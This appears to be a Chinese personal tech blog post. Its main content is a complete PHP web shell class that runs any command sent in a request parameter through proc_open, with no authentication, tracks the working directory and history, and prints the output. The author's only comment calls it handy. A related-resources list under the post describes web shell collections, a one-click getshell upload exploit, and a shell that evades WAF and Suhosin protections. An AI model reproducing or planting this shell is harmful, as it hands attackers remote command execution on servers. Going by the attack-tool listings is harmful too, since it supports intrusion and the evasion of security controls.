- 浏览: 1741786 次
- 性别:
- 来自: 北京
文章分类
- 全部博客 (641)
- vb2005xu自己动手系列 (174)
- vb2005xu开发文章转摘 (47)
- vb2005xu发发牢骚 (99)
- vb2005xu新技术灌水 (12)
- vb2005xu网络资源集锦 (21)
- vb2005xu软件学习 (60)
- 英语学习 (3)
- JavaScript 学习 (54)
- JAVA OOP 巩固 之 CustomDatabase 的开发 (5)
- 2013年9月之前所在公司 记事 (7)
- FleaPHP/QEEPHP 资料 (87)
- JAVA MAIL 学习篇 (4)
- Python turbogears (5)
- Rails 个人开发四部曲 (3)
- 名人传 (8)
- iwp framework (5)
- 高考零分作文 (5)
- startos (8)
- lua (0)
- 职场 (1)
最新评论
-
hellotieye:
自己 评论 自己 挺嗨呀
Mysql sql查询时 if 的用法 -
igevin:
转载请标明出处,转自Gevin的博客http://blog.i ...
RESTful API 编写指南 -
Theobob:
...
实现简单的ACL -
vb2005xu:
比如 对于 curl 调用就不再需要 加各种if 判断了,
$ ...
搞一个简单的数据打印工具AsDebug の Laravel -
vb2005xu:
http://geekplux.com/wiki/
YII2 模块内自定义错误页
<?php define("WINDOWS",1) ; function GBK2UTF8($text=null){ if (!empty($text) && function_exists('iconv')){ return iconv("GBK", "UTF-8", $text); } return $text ; } function remove_blanklines($str){ return $str ? preg_replace("/(^[\r\n]*|[\r\n]+)[\s\t]*[\r\n]+/", "\n", trim($str)): '' ; } class Webshell { private $default_settings = null ; function __init__(){ $this->default_settings = array('home-directory' => '.'); $_SESSION['cwd'] = realpath($this->default_settings['home-directory']); $_SESSION['history'] = array(); $_SESSION['output'] = ''; } function run(){ if (empty($_SESSION['cwd'])) { $this->__init__(); } $command = $_REQUEST['command'] ; if (!empty($command)){ $command = trim($command); $this->_exec($command); } } function _exec($command){ if (!empty($command)) { if (($i = array_search($command, $_SESSION['history'])) !== false) unset($_SESSION['history'][$i]); array_unshift($_SESSION['history'], $command); $_SESSION['output'] .= (empty($_SESSION['output'])?'':"\n\n") . "$ {$command}\n" ; /* Initialize the current working directory. */ if (ereg('^[[:blank:]]*cd[[:blank:]]*$', $command)) { $_SESSION['cwd'] = realpath($this->default_settings['home-directory']); } elseif (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) { /* The current command is a 'cd' command which we have to handle * as an internal shell command. */ if ($regs[1]{0} == '/') { /* Absolute path, we use it unchanged. */ $new_dir = $regs[1]; } else { /* Relative path, we append it to the current working * directory. */ $new_dir = $_SESSION['cwd'] . '/' . $regs[1]; } /* Transform '/./' into '/' */ while (strpos($new_dir, '/./') !== false) $new_dir = str_replace('/./', '/', $new_dir); /* Transform '//' into '/' */ while (strpos($new_dir, '//') !== false) $new_dir = str_replace('//', '/', $new_dir); /* Transform 'x/..' into '' */ while (preg_match('|/\.\.(?!\.)|', $new_dir)) $new_dir = preg_replace('|/?[^/]+/\.\.(?!\.)|', '', $new_dir); if ($new_dir == '') $new_dir = '/'; /* Try to change directory. */ if (@chdir($new_dir)) { $_SESSION['cwd'] = $new_dir; } else { $_SESSION['output'] .= "cd: could not change to: $new_dir\n"; } } else { // We canot use putenv() in safe mode. if (!ini_get('safe_mode')) { // Advice programs (ls for example) of the terminal size. putenv('ROWS=' . 80); putenv('COLUMNS=' . 600); } $shell_result = '' ; $io = array(); $p = proc_open($command,array(1 => array('pipe', 'w'),2 => array('pipe', 'w')),$io,$_SESSION['cwd']); /* Read output sent to stdout. */ while (!feof($io[1])) { $shell_result .= htmlspecialchars(fgets($io[1])); } /* Read output sent to stderr. */ while (!feof($io[2])) { $shell_result .= htmlspecialchars(fgets($io[2])); } fclose($io[1]); fclose($io[2]); proc_close($p); $shell_result = (WINDOWS)? GBK2UTF8($shell_result):$shell_result; $shell_result = remove_blanklines($shell_result); $_SESSION['output'] .= $shell_result; } } /* Build the command history for use in the JavaScript */ if (empty($_SESSION['history'])) { $js_command_hist = '""'; } else { $escaped = array_map('addslashes', $_SESSION['history']); $js_command_hist = '"", "' . implode('", "', $escaped) . '"'; } echo "<PRE>{$_SESSION['output']}</PRE>" ; } } $inst = new Webshell(); $inst->run();
很好用
发表评论
-
前端截取url成图片
2017-11-09 18:16 1477有些小需求需要将 url 转成图片, 直接使用 ... -
excel-to-csv-inbrowser
2016-08-15 19:20 2825# excel-to-csv-inbrowser exce ... -
ws-http 最简单轻量的PHP CURL工具库
2016-07-29 20:44 2543欢迎大家拍砖 https://github.com/to ... -
常用的 js 代码梳理
2016-06-16 12:00 1848/** * 格式化时间函数 * @param {form ... -
Facade 包装类 -- 解决视图里面长长的命名空间调用问题
2016-04-20 10:48 1646有时候模版里面定义 ... -
搞一个简单的数据打印工具AsDebug の Laravel
2016-01-20 19:47 2907很多时候我们都要纠结于代码开发过程中的数据 dump 工作 ... -
ken\trade
2015-12-18 20:45 1494<?php namespace ken\tra ... -
我承认我手贱: 升级 xcode
2015-11-14 21:11 1812升级 xcode 之后, 在终端运行 git clone 出现 ... -
YII2 模块内自定义错误页
2015-11-07 12:17 5420当前YII框架中把错误异常配置都放置在 web.php 中, ... -
PHP单例模式面试注意事项
2015-10-20 09:57 1892最近面了不少PHP从业者,有实习生也有5/6年以上的开发者 ... -
NGINX 配置 SSL 证书 搭建 HTTPS 网站
2015-10-19 19:19 2855下面是详细的配置过程: 1、在服务器上使用 Open ... -
关于php cron任务管理的实现假想
2015-10-17 21:25 1818之前每开发一个计划任务功能均需要在线上操作crontab来新 ... -
fineuploader 跨子域上传文件 cookie丢失问题的解决
2015-10-14 13:30 4736目前的项目中,使用到了fineuploader 这个纯htm ... -
CentOS 6安全加固及性能优化
2015-07-27 14:54 4216CentOS 6安全加固及性能优化 我们可以通过调整 ... -
常见票据辨别真伪的方法
2015-04-28 09:07 16771、真伪鉴别图示和步 ... -
梳理面试中遇到的HTTP协议相关的问题和知识
2015-04-16 13:45 3875本文会是一个比较长的,持续更新的过程 当你在浏览器地 ... -
面试中遇到的期权问题
2015-04-13 14:33 2675最近在面试一直遇到 ... -
遭遇windows上PHP 不能打开GBK编码文件名的问题
2015-03-09 11:21 3076我在 目录下建了一个文件名为 謀定三國-i8ujlw.js ... -
遭遇jsonp同域下变作post请求的坑
2015-01-28 21:39 4696今天迁移一个站点时遇到一个坑爹问题,同一个jsonp接口在 ... -
nginx 400 错误请求分析
2015-01-27 15:01 3240在服务器上传文件过程中 nginx经常会出现 400 的错误 ...
相关推荐
Web Shell Detector –是一个PHP脚本,可以帮助您查找和识别php / cgi(perl)/ asp / aspx shell。 Web Shell Detector具有一个“ web shell”签名数据库,可帮助识别高达99%的“ web shell”。 通过使用最新的...
各种web shell 大全 。包括jsp、asp、php等
Web控制台是一个基于Web的应用程序,它允许直接从浏览器(基于Web的外壳程序)在服务器上执行Shell命令。 该应用程序非常轻巧,不需要任何数据库,可以在大约3分钟内安装和配置。 如果您喜欢Web Console,请考虑有...
PHP实例开发源码—PHPShell 管理Web服务器的源码(执行命令以及浏览文件).zip PHP实例开发源码—PHPShell 管理Web服务器的源码(执行命令以及浏览文件).zip PHP实例开发源码—PHPShell 管理Web服务器的源码(执行命令...
特定于语言的Web Shell PHP 名称 可用性 alfav3-encoded.php alfav4.1-decoded.php alfav4.1-encoded.php andela.php bloodsecv4.php by.php c99ud.php cmd.php configkillerionkros.php mini.php 找到...
phpweb通用上传漏洞 一键GETshell 不用多解释了
基于PHP的Shell管理Web服务器(执行命令以及浏览文件)源码.zip
基于PHP的Shell 管理Web服务器的源码(执行命令以及浏览文件).zip
Leverage your existing web based PHP skills to write all types of software. CLI scripts, desktop software, network servers and more - this book will give you the tools, techniques and background ...
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制: ① 执行外部命令 ② 在...
phpshell_execv01 一个简单PHP Shell,用于WebServer远程shell,上载等等。
kcWebTelnet是一个PHP脚本,允许用户运行Unix或Linux Shell命令,而Web浏览器未提供TELNET。
php spider shell是一款功能十分强大的PHP大马,一款WEB攻击利器。由于以前php spider shell版本被人恶意插入了后门,导致很多人辛苦为别人干活。特发出些去后门版本的PHP大马。
php-webshells, 在你的服务器上,普通的php webshells... 在你的repo 请求中,请先输入一个简单描述,并包含 web-shell的屏幕截图。 php-webshells通用 PHP shell 。不要将这些内容放在可以公开访问的web服务器上。这些
这是一组非常简单的 web shell。 大多数是我写的,有些是其他作者写的(在来源中命名)。 我不建议在实时环境中使用这些,除非您知道自己在做什么。 其中大多数没有身份验证或限制,旨在在最短的时间内完成简单的...
有很多因素使DAws优于现有的每个Web Shell: 绕过Suhosin之类的安全系统(IPS,WAF等)(最多使用20个php函数来执行命令)。 丢弃CGI Shell,并与它们通信以绕过安全系统。 使用SSH授权密钥方法绕过安全系统。 ...
php xml webshel
Use your existing web-based PHP skills to write all types of software: CLI scripts, desktop software, network servers, and more. This book gives you the tools, techniques, and background necessary to ...
输出是执行结果,假如我们想用PHP代替shell,在命令行中执行一个文件,那么就可以写一个程序来嵌入PHP解析器,这就是cli模式,这种模式下PHP就是普通的一个命令工具。接着我们又想:能不能让PHP处理http请求呢?这时...
5. shell脚本功能: === 参数配置 ===: #指定正式环境的路径 正式环境的文件 WEB_ROOT=/var/www/html echo ${WEB_ROOT} #指定发布环境的路径 发布环境的文件 PAT_ROOT=/home/chenlong/blog echo ${PAT_ROOT} #...